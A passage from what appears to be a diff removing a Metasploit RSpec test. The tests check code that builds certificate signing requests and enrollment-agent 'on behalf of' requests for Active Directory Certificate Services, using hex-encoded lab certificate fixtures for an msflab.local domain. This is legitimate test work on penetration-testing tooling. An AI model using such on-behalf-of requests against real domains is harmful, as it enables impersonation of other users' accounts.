"\x65\xe2\x76\xc3\xf6\x00\x5c\x83\x9a\x20\x4e\x52\xd4\x7f\x81\x0a\x17\x79" \ - "\x3c\x16\x43\xad\xaf\x29\x29\x83\xd3\xe8\x12\x9f\x10\xdb\xa2\x4a\xb8\x4f" \ - "\xc8\x62\x7f\xf7\x11\xf1\x66\x75\x8d\x94\x17\x13\x42\x51\xf4\x53\xc8\xfe" \ - "\xa1\xac\xff\xa0\xf9\x7b\x9e\x92\x6f\xb5\xb7\x6e\xe0\xba\x52\xe3\x8d\xe7" \ - "\xca\x49\x9a\xda\xd7\xec\xfb\x4d\x50\x68\x34\x14\xe9\xfa\x8c\x60\x75\x8f" \ - "\x01\x07\xb5\xcf\xb8\xb1\xe9\x76\xe2\x3e\xd5\x31\xfc\xed\xde\x7b\x98\xfc" \ - "\xa4\xc3\x69\xb1\x8b\x42\x2a\x22\xf6\x26\x95\x11\xb2\x7a\xa4\xa9\x81\x68" \ - "\x71\x9c\x12\xcc\x05\x8a\xa1\x81\x19\x62\x35\xce\xb4\x95\x21\x8c\x8d\xcb" \ - "\xae\xd2\x2b\x7f\xcf\xdd\x15\xb2\x1c\x73\x49\x79\x2d\x9a\xc7\xb4\x4c\xa8" \ - "\x79\x16\x39\x75\xe3\xc6\xa6\xcc\xeb\xc8\xba\xb4\x22\xfe\xd8\xdb\x2d\x4f" \ - "\x35\xc8\xea\x64\x24\x5d\x69\x0e\x5d\x4f\x1d\xdf\xdc\x27\xfc\xca\x8b\xc8" \ - "\xf7\x58\xd1\x93\x3b\x2e\xff\xf2\x8b\x9d\x3a\xbc\xaf\x22\xa1\xf0\xc3\x62" \ - "\x81\xf1\xcf\xc6\x30\x68\xf5\x35\x0c\xe0\x9f\xbb\xe4\xfc\xde\x73\xe0\xa0" \ - "\x82\x06\xcc\x30\x82\x06\xc8\x30\x82\x05\xb0\xa0\x03\x02\x01\x02\x02\x13" \ - "\x10\x00\x00\x00\x43\x92\xab\x33\x25\xbd\xb1\xc3\x32\x00\x00\x00\x00\x00" \ - "\x43\x30\x0d\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x0b\x05\x00\x30\x46" \ - "\x31\x15\x30\x13\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16\x05" \ - "\x6c\x6f\x63\x61\x6c\x31\x16\x30\x14\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c" \ - "\x64\x01\x19\x16\x06\x6d\x73\x66\x6c\x61\x62\x31\x15\x30\x13\x06\x03\x55" \ - "\x04\x03\x13\x0c\x6d\x73\x66\x6c\x61\x62\x2d\x44\x43\x2d\x43\x41\x30\x1e" \ - "\x17\x0d\x32\x32\x31\x31\x30\x32\x32\x31\x32\x38\x34\x36\x5a\x17\x0d\x32" \ - "\x33\x31\x31\x30\x32\x32\x31\x32\x38\x34\x36\x5a\x30\x7b\x31\x15\x30\x13" \ - "\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16\x05\x6c\x6f\x63\x61" \ - "\x6c\x31\x16\x30\x14\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16" \ - "\x06\x6d\x73\x66\x6c\x61\x62\x31\x0e\x30\x0c\x06\x03\x55\x04\x03\x13\x05" \ - "\x55\x73\x65\x72\x73\x31\x15\x30\x13\x06\x03\x55\x04\x03\x13\x0c\x41\x6c" \ - "\x69\x63\x65\x20\x4c\x69\x64\x64\x6c\x65\x31\x23\x30\x21\x06\x09\x2a\x86" \ - "\x48\x86\xf7\x0d\x01\x09\x01\x16\x14\x61\x6c\x69\x64\x64\x6c\x65\x40\x6d" \ - "\x73\x66\x6c\x61\x62\x2e\x6c\x6f\x63\x61\x6c\x30\x82\x01\x22\x30\x0d\x06" \ - "\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x01\x05\x00\x03\x82\x01\x0f\x00\x30" \ - "\x82\x01\x0a\x02\x82\x01\x01\x00\xe3\x3d\x21\x6b\x75\xeb\xcf\x62\xc3\x19" \ - "\x32\xe7\x80\xc2\xb4\xaa\xa7\x26\x1b\x2c\x69\x6f\x5d\x10\x3d\x8f\x6c\x7b" \ - "\x0f\xf8\x14\x55\x92\x3b\x3b\x4d\x63\xe8\x2a\x4c\x59\x9d\xef\x6f\x19\x2d" \ - "\x2f\xfe\xbd\x63\x75\x51\x23\x65\x86\xbb\xfb\xcb\x69\xa2\x09\xb6\x6b\x5d" \ - "\x8f\x22\x52\x30\x22\xd9\x79\xb7\xe0\xe8\xaa\x6f\x3b\x53\xbb\x53\x98\x00" \ - "\x29\x8c\x32\x93\x4f\xaf\x6f\xc2\x8d\xca\x95\x33\x61\x3f\xdb\xfb\x22\x1c" \ - "\xae\x6c\xa2\x16\x39\xf8\x23\x0c\x14\xd8\x10\xe4\xf9\xd5\x8b\xac\x9d\x6b" \ - "\x6e\x0d\x25\x97\x51\x8e\xeb\x0a\x29\xd4\x0c\xcc\x7b\x48\x1b\xef\x23\x27" \ - "\x47\x82\xf8\xab\x41\x36\x4d\xa7\x7c\x84\x09\x0b\xea\xb8\x66\xc0\x96\x60" \ - "\x6e\xa9\xf5\x03\x87\xb2\xcb\xee\x17\x05\xe2\x20\xdf\xa4\x83\x8c\x86\x41" \ - "\x77\x7e\x02\x13\xba\xa0\xb7\xfb\xdf\xe2\x67\xe9\x78\xab\x77\x54\x99\x84" \ - "\x22\xd8\x67\x5f\x90\x04\x33\xce\x74\x7c\xde\xa7\x6f\x05\x60\x25\x8b\x73" \ - "\xce\x96\x3a\x2c\x41\xa8\x53\x73\x71\x89\xd4\x61\x07\x31\xbb\x8b\x04\x26" \ - "\xe4\xfa\x07\x73\xa0\x43\x37\x2b\x67\xc0\x1b\x12\x15\x6a\xb6\x16\x59\x66" \ - "\x93\xbb\x12\xea\x36\x7e\x20\x1e\xf0\x74\x1d\xe7\x02\x03\x01\x00\x01\xa3" \ - "\x82\x03\x78\x30\x82\x03\x74\x30\x1d\x06\x03\x55\x1d\x0e\x04\x16\x04\x14" \ - "\x73\x77\x4b\xc5\xe3\x2e\x39\xba\x18\xec\xc7\x2b\x69\xd9\x1c\xce\x9d\x3b" \ - "\x84\x2a\x30\x1f\x06\x03\x55\x1d\x23\x04\x18\x30\x16\x80\x14\xb9\x92\x66" \ - "\xb2\x68\xbb\x9b\x46\xd8\x41\x5d\xcb\x16\xb6\xba\x38\xb2\xb1\x78\xd0\x30" \ - "\x81\xc6\x06\x03\x55\x1d\x1f\x04\x81\xbe\x30\x81\xbb\x30\x81\xb8\xa0\x81" \ - "\xb5\xa0\x81\xb2\x86\x81\xaf\x6c\x64\x61\x70\x3a\x2f\x2f\x2f\x43\x4e\x3d" \ - "\x6d\x73\x66\x6c\x61\x62\x2d\x44\x43\x2d\x43\x41\x2c\x43\x4e\x3d\x44\x43" \ - "\x2c\x43\x4e\x3d\x43\x44\x50\x2c\x43\x4e\x3d\x50\x75\x62\x6c\x69\x63\x25" \ - "\x32\x30\x4b\x65\x79\x25\x32\x30\x53\x65\x72\x76\x69\x63\x65\x73\x2c\x43" \ - "\x4e\x3d\x53\x65\x72\x76\x69\x63\x65\x73\x2c\x43\x4e\x3d\x43\x6f\x6e\x66" \ - "\x69\x67\x75\x72\x61\x74\x69\x6f\x6e\x2c\x44\x43\x3d\x6d\x73\x66\x6c\x61" \ - "\x62\x2c\x44\x43\x3d\x6c\x6f\x63\x61\x6c\x3f\x63\x65\x72\x74\x69\x66\x69" \ - "\x63\x61\x74\x65\x52\x65\x76\x6f\x63\x61\x74\x69\x6f\x6e\x4c\x69\x73\x74" \ - "\x3f\x62\x61\x73\x65\x3f\x6f\x62\x6a\x65\x63\x74\x43\x6c\x61\x73\x73\x3d" \ - "\x63\x52\x4c\x44\x69\x73\x74\x72\x69\x62\x75\x74\x69\x6f\x6e\x50\x6f\x69" \ - "\x6e\x74\x30\x81\xbf\x06\x08\x2b\x06\x01\x05\x05\x07\x01\x01\x04\x81\xb2" \ - "\x30\x81\xaf\x30\x81\xac\x06\x08\x2b\x06\x01\x05\x05\x07\x30\x02\x86\x81" \ - "\x9f\x6c\x64\x61\x70\x3a\x2f\x2f\x2f\x43\x4e\x3d\x6d\x73\x66\x6c\x61\x62" \ - "\x2d\x44\x43\x2d\x43\x41\x2c\x43\x4e\x3d\x41\x49\x41\x2c\x43\x4e\x3d\x50" \ - "\x75\x62\x6c\x69\x63\x25\x32\x30\x4b\x65\x79\x25\x32\x30\x53\x65\x72\x76" \ - "\x69\x63\x65\x73\x2c\x43\x4e\x3d\x53\x65\x72\x76\x69\x63\x65\x73\x2c\x43" \ - "\x4e\x3d\x43\x6f\x6e\x66\x69\x67\x75\x72\x61\x74\x69\x6f\x6e\x2c\x44\x43" \ - "\x3d\x6d\x73\x66\x6c\x61\x62\x2c\x44\x43\x3d\x6c\x6f\x63\x61\x6c\x3f\x63" \ - "\x41\x43\x65\x72\x74\x69\x66\x69\x63\x61\x74\x65\x3f\x62\x61\x73\x65\x3f" \ - "\x6f\x62\x6a\x65\x63\x74\x43\x6c\x61\x73\x73\x3d\x63\x65\x72\x74\x69\x66" \ - "\x69\x63\x61\x74\x69\x6f\x6e\x41\x75\x74\x68\x6f\x72\x69\x74\x79\x30\x0e" \ - "\x06\x03\x55\x1d\x0f\x01\x01\xff\x04\x04\x03\x02\x05\xa0\x30\x3d\x06\x09" \ - "\x2b\x06\x01\x04\x01\x82\x37\x15\x07\x04\x30\x30\x2e\x06\x26\x2b\x06\x01" \ - "\x04\x01\x82\x37\x15\x08\x81\xf8\xd8\x15\x86\xcf\xbe\x0a\x82\xf5\x9d\x2c" \ - "\x81\x9c\xd5\x54\x82\xeb\x94\x4c\x17\x85\xe8\xbe\x77\x86\xdf\xdd\x7e\x02" \ - "\x01\x64\x02\x01\x04\x30\x35\x06\x03\x55\x1d\x25\x04\x2e\x30\x2c\x06\x08" \ - "\x2b\x06\x01\x05\x05\x07\x03\x04\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x0a" \ - "\x03\x04\x06\x08\x2b\x06\x01\x05\x05\x07\x03\x02\x06\x0a\x2b\x06\x01\x04" \ - "\x01\x82\x37\x14\x02\x01\x30\x43\x06\x09\x2b\x06\x01\x04\x01\x82\x37\x15" \ - "\x0a\x04\x36\x30\x34\x30\x0a\x06\x08\x2b\x06\x01\x05\x05\x07\x03\x04\x30" \ - "\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x0a\x03\x04\x30\x0a\x06\x08\x2b" \ - "\x06\x01\x05\x05\x07\x03\x02\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37" \ - "\x14\x02\x01\x30\x45\x06\x03\x55\x1d\x11\x04\x3e\x30\x3c\xa0\x24\x06\x0a" \ - "\x2b\x06\x01\x04\x01\x82\x37\x14\x02\x03\xa0\x16\x0c\x14\x61\x6c\x69\x64" \ - "\x64\x6c\x65\x40\x6d\x73\x66\x6c\x61\x62\x2e\x6c\x6f\x63\x61\x6c\x81\x14" \ - "\x61\x6c\x69\x64\x64\x6c\x65\x40\x6d\x73\x66\x6c\x61\x62\x2e\x6c\x6f\x63" \ - "\x61\x6c\x30\x4f\x06\x09\x2b\x06\x01\x04\x01\x82\x37\x19\x02\x04\x42\x30" \ - "\x40\xa0\x3e\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x19\x02\x01\xa0\x30\x04" \ - "\x2e\x53\x2d\x31\x2d\x35\x2d\x32\x31\x2d\x33\x34\x30\x32\x35\x38\x37\x32" \ - "\x38\x39\x2d\x31\x34\x38\x38\x37\x39\x38\x35\x33\x32\x2d\x33\x36\x31\x38" \ - "\x32\x39\x36\x39\x39\x33\x2d\x31\x31\x30\x36\x30\x44\x06\x09\x2a\x86\x48" \ - "\x86\xf7\x0d\x01\x09\x0f\x04\x37\x30\x35\x30\x0e\x06\x08\x2a\x86\x48\x86" \ - "\xf7\x0d\x03\x02\x02\x02\x00\x80\x30\x0e\x06\x08\x2a\x86\x48\x86\xf7\x0d" \ - "\x03\x04\x02\x02\x00\x80\x30\x07\x06\x05\x2b\x0e\x03\x02\x07\x30\x0a\x06" \ - "\x08\x2a\x86\x48\x86\xf7\x0d\x03\x07\x30\x0d\x06\x09\x2a\x86\x48\x86\xf7" \ - "\x0d\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x89\xb2\xb3\xb1\xd8\x61\x9e" \ - "\x45\x70\x58\x58\x23\x24\x43\x6c\x4f\x0a\x77\x48\x5c\x2b\xc0\xa3\xf5\x78" \ - "\x37\x7c\x58\xb1\x6c\xd8\xa8\xa3\x2f\x5b\x8e\xb9\x4d\x3b\x4a\xcd\xab\x8a" \ - "\x3b\x0e\x8a\xd8\x52\x6b\xfa\xe2\x29\xad\x22\x8d\x58\x0f\x98\x05\x61\x54" \ - "\xc3\xd9\xb0\x9c\x63\x8a\xb3\x6d\x4b\x25\x0e\x91\x20\xbe\x84\x0c\xa4\xb7" \ - "\x51\xd1\xe8\xdc\x08\xe9\xfe\x64\xf1\x86\x5a\xe8\x23\x6a\x14\xb8\xf1\x16" \ - "\x09\x27\x0d\xdc\x74\xd1\x28\x48\x90\xc5\x7f\x97\x3d\xee\x80\x34\x08\x65" \ - "\x1c\xb0\x41\xac\x4f\x99\x9e\x7d\xed\x5e\xff\xd8\x95\x71\xc4\x4a\x94\x41" \ - "\x39\xe5\x6d\x0e\x29\x7c\xb5\x3b\xc4\x11\x8f\x17\xf8\xf9\x8b\x6e\xf1\xd8" \ - "\x99\x37\xc2\x75\x0d\xc8\xcf\x01\xba\xbe\x30\x1c\xba\xac\xac\xe2\x7f\x5c" \ - "\x5a\xa7\x8d\x60\xb2\x0e\x60\x6a\x6e\x0f\x50\x47\x9e\xab\xc1\xfd\xea\xc2" \ - "\x63\xfd\xbc\xf5\x59\x5f\x61\x73\x2e\x6c\x30\x54\x1e\x92\xc1\x4f\x04\xb8" \ - "\xbf\xe8\x5d\x58\x1c\x96\x97\x21\x68\xdd\x32\xc2\x35\x88\xb4\x39\xa6\x7f" \ - "\xbc\x8d\x67\x9a\x21\x2a\x50\xa6\xcf\x4b\xbd\x0c\xe7\x81\x3e\xa0\x30\xda" \ - "\x22\xbc\x10\x30\xfa\x8b\x97\xf0\xf8\x3a\x92\xa9\x70\xac\xfc\x31\x82\x02" \ - "\x08\x30\x82\x02\x04\x02\x01\x01\x30\x5d\x30\x46\x31\x15\x30\x13\x06\x0a" \ - "\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16\x05\x6c\x6f\x63\x61\x6c\x31" \ - "\x16\x30\x14\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16\x06\x6d" \ - "\x73\x66\x6c\x61\x62\x31\x15\x30\x13\x06\x03\x55\x04\x03\x13\x0c\x6d\x73" \ - "\x66\x6c\x61\x62\x2d\x44\x43\x2d\x43\x41\x02\x13\x10\x00\x00\x00\x43\x92" \ - "\xab\x33\x25\xbd\xb1\xc3\x32\x00\x00\x00\x00\x00\x43\x30\x0b\x06\x09\x60" \ - "\x86\x48\x01\x65\x03\x04\x02\x01\xa0\x81\x81\x30\x4e\x06\x0a\x2b\x06\x01" \ - "\x04\x01\x82\x37\x0d\x02\x01\x31\x40\x30\x3e\x1e\x1a\x00\x72\x00\x65\x00" \ - "\x71\x00\x75\x00\x65\x00\x73\x00\x74\x00\x65\x00\x72\x00\x6e\x00\x61\x00" \ - "\x6d\x00\x65\x1e\x20\x00\x4d\x00\x53\x00\x46\x00\x4c\x00\x41\x00\x42\x00" \ - "\x5c\x00\x73\x00\x6d\x00\x63\x00\x69\x00\x6e\x00\x74\x00\x79\x00\x72\x00" \ - "\x65\x30\x2f\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x09\x04\x31\x22\x04\x20" \ - "\x3f\x40\x73\xc1\x9c\x54\xeb\xbd\x4d\x4f\xab\x27\xfb\x8b\x65\x1a\x2c\x51" \ - "\x24\xf9\x97\x05\x91\x04\xaa\xf7\xbc\x6d\xfd\x07\x4d\x70\x30\x0b\x06\x09" \ - "\x2a\x86\x48\x86\xf7\x0d\x01\x01\x0b\x04\x82\x01\x00\x78\x74\xf7\xee\xef" \ - "\x89\x2f\x02\x77\xb9\xde\x87\x07\x3a\x58\x1d\x2d\xc0\xb0\x55\x33\x40\xf1" \ - "\x6f\xb6\x28\xd6\x44\xf1\xfa\x4f\xf6\x99\xe1\xdc\xb2\x2e\x49\x5b\x36\xa7" \ - "\xee\x6f\x82\x67\x27\x43\xd5\x99\x57\xc2\x83\x09\x29\xd2\xb3\x86\x9e\x6f" \ - "\x75\x78\xdb\xe3\xeb\x33\x65\xce\x7c\xd4\x8f\x65\x73\xa7\x82\xe4\x5e\x50" \ - "\xd3\xe8\x76\xd2\x43\x96\xeb\xe5\x3a\xd1\x03\x2e\xa0\x61\xd7\xf2\x6b\x9e" \ - "\x0b\x24\x11\x2a\x25\x4d\x68\x5e\x86\x9c\x9b\xe4\xaa\x6c\x5c\x5c\xfe\x54" \ - "\x26\x85\xd8\xcc\x0f\xdd\x69\x0f\xf6\xc3\x0b\x7c\xca\x23\xeb\x99\x8c\xc1" \ - "\x69\x80\x69\xd2\x14\x1b\x1b\x99\xde\x25\x59\x12\x8d\xb4\xc0\x01\x56\x32" \ - "\x91\x76\x8f\x8b\xd4\x29\x2f\x74\x3e\xca\xe0\xd1\xe8\x68\xde\x9d\x1e\x15" \ - "\xd9\x07\x41\x82\x14\x2a\xe9\x5c\x03\x81\x80\x04\xf1\x5b\xa5\xea\x21\x72" \ - "\x9d\x98\xa0\x23\x46\x25\xb7\x68\x7d\xc2\x58\x80\xfb\x1c\xbb\x76\xba\x76" \ - "\x3a\xba\x1c\xd8\x0f\xbf\x21\x36\xce\x03\x94\x8c\x13\xbd\xc7\x87\x42\x06" \ - "\x1c\x2b\xc8\x53\xd1\xa7\xba\xea\xfa\xbc\xba\x8e\xd8\x6f\x1c\x34\x28\x8b" \ - "\x87\x0d\xbf\x30\x87\xc1\x6e\xcc\x15\xb5\xd7\x2d\xe4\xe6\xa6\xaa\xe6" - ) - end - - before(:each) do - subject.datastore['VERBOSE'] = false - allow(driver).to receive(:input).and_return(driver_input) - allow(driver).to receive(:output).and_return(driver_output) - subject.init_ui(driver_input, driver_output) - end - - describe '#build_csr' do - let(:result) do - subject.send(:build_csr, - cn: 'aliddle', - private_key: pkcs12_key - ) - end - - context 'when building' do - it 'return a Request object' do - expect(result).to be_a(OpenSSL::X509::Request) - end - - it 'should respond to #to_der' do - expect(result).to respond_to(:to_der) - end - - it 'should be correct' do - expect(result.to_der).to eq(x509_csr.to_der) - end - end - - context 'when passed a bad algorithm' do - it 'raises a RuntimeError if the algorithm does not exist' do - expect { - subject.send(:build_csr, - cn: 'aliddle', - private_key: pkcs12_key, - algorithm: 'METASPLOIT' - ) - }.to raise_error(RuntimeError) - end - end - end - - describe '#build_on_behalf_of' do - context 'when building' do - let(:result) do - subject.send(:build_on_behalf_of, - csr: x509_csr, - on_behalf_of: 'MSFLAB\\smcintyre', - cert: pkcs12_certificate, - key: pkcs12_key - ) - end - - it 'return a ContentInfo object' do - expect(result).to be_a(Rex::Proto::CryptoAsn1::Cms::ContentInfo) - end - - it 'should respond to #to_der' do - expect(result).to respond_to(:to_der) - end - - it 'should be correct' do - expect(result.to_der).to eq(content_info.to_der) - end - end - - context 'when passed a bad algorithm' do - it 'raises an ArgumentError if the algorithm exists but can not be mapped to an OID' do - expect { - subject.send(:build_on_behalf_of, - csr: x509_csr, - on_behalf_of: 'MSFLAB\\smcintyre', - cert: pkcs12_certificate, - key: pkcs12_key, - algorithm: 'MD4' - ) - }.to raise_error(ArgumentError) - end - - it 'raises a RuntimeError if the algorithm does not exist' do - expect { - subject.send(:build_on_behalf_of, - csr: x509_csr, - on_behalf_of: 'MSFLAB\\smcintyre', - cert: pkcs12_certificate, - key: pkcs12_key, - algorithm: 'METASPLOIT' - ) - }.to raise_error(RuntimeError) - end - end - end -end